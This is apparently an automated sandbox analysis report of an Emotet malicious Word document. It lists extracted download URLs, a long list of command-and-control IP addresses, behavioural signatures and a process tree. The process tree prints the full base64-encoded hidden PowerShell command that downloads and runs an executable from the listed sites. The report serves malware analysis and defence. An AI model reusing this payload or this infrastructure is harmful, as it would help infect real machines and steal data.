Analysis
-
max time kernel
29s -
resource
win10v191014 -
submitted
20-01-2020 11:22
General
Malware Config
Extracted
http://sanketpatil.online/wp-includes/rBhbqf/
http://deals.autostar.com.sa/wp-admin/tnibbgr-7y3i2-4052100/
http://activatemagicsjacks.xyz/wp-admin/pzp2my-a4ma-335/
http://heminghao.club/phpmyadmin/bos25l-sisvzsm-51/
http://redbeat.club/wp-snapshots/fzAArnYv/
Extracted
emotet
98.192.74.164:80
59.135.126.129:443
24.70.40.15:8080
178.33.167.120:8080
144.76.56.36:8080
176.58.93.123:80
51.38.134.203:8080
58.92.179.55:443
190.201.144.85:7080
201.183.251.100:80
192.210.217.94:8080
14.161.30.33:443
212.112.113.235:80
23.253.207.142:8080
1.217.126.11:443
61.221.152.140:80
78.189.165.52:8080
149.202.153.251:8080
91.73.169.210:80
212.129.14.27:8080
76.11.76.47:80
60.130.173.117:80
139.59.12.63:8080
114.179.127.48:80
110.142.161.90:80
91.117.131.122:80
82.146.55.23:7080
183.91.3.63:80
78.101.95.172:80
46.32.229.152:8080
76.185.136.132:80
211.229.116.130:80
177.103.240.93:80
78.189.60.109:443
95.9.217.200:8080
85.109.190.235:443
95.216.207.86:7080
177.144.130.105:443
110.2.118.164:80
112.186.195.176:80
50.116.78.109:8080
70.45.30.28:80
186.147.245.204:80
190.5.162.204:80
144.139.91.187:80
187.72.47.161:443
105.209.235.113:8080
179.5.118.12:8080
80.211.32.88:8080
42.51.192.231:8080
211.20.154.102:80
51.77.113.97:8080
5.178.245.100:80
203.153.216.178:7080
156.155.163.232:80
88.225.230.33:80
122.176.116.57:443
162.144.46.90:8080
24.141.12.228:80
183.87.40.21:8080
77.74.78.80:443
192.241.241.221:443
78.46.87.133:8080
188.251.213.180:443
46.17.6.116:8080
91.117.31.181:80
61.204.119.188:443
37.46.129.215:8080
183.82.123.60:443
98.178.241.106:80
5.196.200.208:8080
76.87.58.38:80
82.165.15.188:8080
78.186.102.195:80
190.17.94.108:443
192.241.220.183:8080
160.226.171.255:443
124.150.175.133:80
186.84.173.136:8080
60.152.212.149:80
203.124.57.50:80
95.130.37.244:443
1.221.254.82:80
75.86.6.174:80
89.215.225.15:80
78.188.170.128:80
98.15.140.226:80
185.207.57.205:443
220.247.70.174:80
157.7.164.178:8081
190.93.210.113:80
122.19.63.27:80
187.177.155.123:990
196.6.119.137:80
216.75.37.196:8080
88.248.140.80:80
182.176.116.139:995
200.82.88.254:80
197.94.32.129:8080
190.171.153.139:80
142.93.87.198:8080
91.83.93.103:443
75.127.14.170:8080
186.223.86.136:443
67.254.196.78:443
181.53.29.136:8080
195.201.56.70:8080
181.196.27.123:80
85.100.122.211:80
78.210.132.35:80
41.77.74.214:443
88.247.53.159:443
69.14.208.221:80
58.185.224.18:80
181.39.96.86:443
88.249.181.198:443
81.82.247.216:80
41.215.79.182:80
163.172.107.70:8080
180.16.248.25:80
106.248.79.174:80
125.209.114.180:443
122.116.104.238:7080
160.119.153.20:80
154.73.137.131:80
158.69.167.246:8080
72.27.212.209:8080
Signatures
-
Suspicious behavior: EmotetMutantsSpam 2 IoCs
pid Process 1824 160.exe 3744 ipmirun.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4884 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4360 1828 Powershell.exe 74 -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 4360 Powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 4360 wrote to memory of 4564 4360 Powershell.exe 80 PID 4564 wrote to memory of 1824 4564 160.exe 81 PID 4648 wrote to memory of 3744 4648 ipmirun.exe 83 -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Drops file in System32 directory 1 IoCs
description ioc Process File renamed C:\Users\Admin\160.exe => C:\Windows\SysWOW64\ipmirun.exe 160.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 4884 WINWORD.EXE 4564 160.exe 1824 160.exe 4648 ipmirun.exe 3744 ipmirun.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4360 Powershell.exe -
Executes dropped EXE 4 IoCs
pid Process 4564 160.exe 1824 160.exe 4648 ipmirun.exe 3744 ipmirun.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\79073477216da5244bd8d2ab2053f21b26e57675d1a507dabd194134c27bd148.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
PID:4884
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABXAHoAcAB0AGUAcABvAG4AcgA9ACcAQQB6AHIAaABsAHkAbQBwAHMAJwA7ACQAUgBvAGgAdgBtAHoAbgBxAHAAbAAgAD0AIAAnADEANgAwACcAOwAkAEIAaAByAHgAbwBpAGQAZABpAHUAYwA9ACcAWgBrAGsAaABwAGQAdQBzACcAOwAkAFQAdAB0AGsAawBlAGEAbwBlAHAAdwBkAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABSAG8AaAB2AG0AegBuAHEAcABsACsAJwAuAGUAeABlACcAOwAkAFcAdgBzAGIAcgBjAHYAeABlAD0AJwBOAG0AbgByAHoAZgBvAHYAdwBnACcAOwAkAEoAbgBzAGYAaQBpAG4AdABxAHgAbABkAGwAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAG4ARQBUAC4AVwBlAGIAQwBsAEkARQBOAHQAOwAkAEkAcgB6AGQAaQBsAHMAegBsAD0AJwBoAHQAdABwADoALwAvAHMAYQBuAGsAZQB0AHAAYQB0AGkAbAAuAG8AbgBsAGkAbgBlAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AcgBCAGgAYgBxAGYALwAqAGgAdAB0AHAAOgAvAC8AZABlAGEAbABzAC4AYQB1AHQAbwBzAHQAYQByAC4AYwBvAG0ALgBzAGEALwB3AHAALQBhAGQAbQBpAG4ALwB0AG4AaQBiAGIAZwByAC0ANwB5ADMAaQAyAC0ANAAwADUAMgAxADAAMAAvACoAaAB0AHQAcAA6AC8ALwBhAGMAdABpAHYAYQB0AGUAbQBhAGcAaQBjAHMAagBhAGMAawBzAC4AeAB5AHoALwB3AHAALQBhAGQAbQBpAG4ALwBwAHoAcAAyAG0AeQAtAGEANABtAGEALQAzADMANQAvACoAaAB0AHQAcAA6AC8ALwBoAGUAbQBpAG4AZwBoAGEAbwAuAGMAbAB1AGIALwBwAGgAcABtAHkAYQBkAG0AaQBuAC8AYgBvAHMAMgA1AGwALQBzAGkAcwB2AHoAcwBtAC0ANQAxAC8AKgBoAHQAdABwADoALwAvAHIAZQBkAGIAZQBhAHQALgBjAGwAdQBiAC8AdwBwAC0AcwBuAGEAcABzAGgAbwB0AHMALwBmAHoAQQBBAHIAbgBZAHYALwAnAC4AIgBzAFAAYABsAEkAdAAiACgAJwAqACcAKQA7ACQARwBtAG4AYgBoAGQAYQBoAHcAcwA9ACcAQwB3AGcAbABiAG0AdwB5AHAAcABsAHkAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEkAegBkAGIAbQB2AHYAcABnAHAAbwBtAGsAIABpAG4AIAAkAEkAcgB6AGQAaQBsAHMAegBsACkAewB0AHIAeQB7ACQASgBuAHMAZgBpAGkAbgB0AHEAeABsAGQAbAAuACIAZABvAGAAdwBOAEwAbwBgAEEARABGAGkAbABlACIAKAAkAEkAegBkAGIAbQB2AHYAcABnAHAAbwBtAGsALAAgACQAVAB0AHQAawBrAGUAYQBvAGUAcAB3AGQAKQA7ACQAUQB5AGcAeABtAHoAegBtAGwAcABkAD0AJwBVAGUAbQBwAHYAbABzAHAAYwB6AGQAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABUAHQAdABrAGsAZQBhAG8AZQBwAHcAZAApAC4AIgBMAGAARQBuAGcAdABIACIAIAAtAGcAZQAgADMANQA1ADAAMAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAYABBAFIAdAAiACgAJABUAHQAdABrAGsAZQBhAG8AZQBwAHcAZAApADsAJABZAHQAcQBiAHAAZQByAG4AYgBiAD0AJwBBAHYAcQBrAHEAaABhAHkAYwAnADsAYgByAGUAYQBrADsAJABBAHAAbgBmAGIAbgB6AGMAPQAnAFEAYQBzAHYAbgBvAHcAdwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABLAHEAcABrAHcAeQByAGkAPQAnAEwAaABlAHEAcABsAGIAegBxAHoAYgB5ACcA1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:4360 -
C:\Users\Admin\160.exe"C:\Users\Admin\160.exe"2⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:4564 -
C:\Users\Admin\160.exe--739b85893⤵
- Suspicious behavior: EmotetMutantsSpam
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:1824
-
-
-
C:\Windows\SysWOW64\ipmirun.exe"C:\Windows\SysWOW64\ipmirun.exe"1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:4648 -
C:\Windows\SysWOW64\ipmirun.exe--3b8f5b9e2⤵
- Suspicious behavior: EmotetMutantsSpam
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:3744
-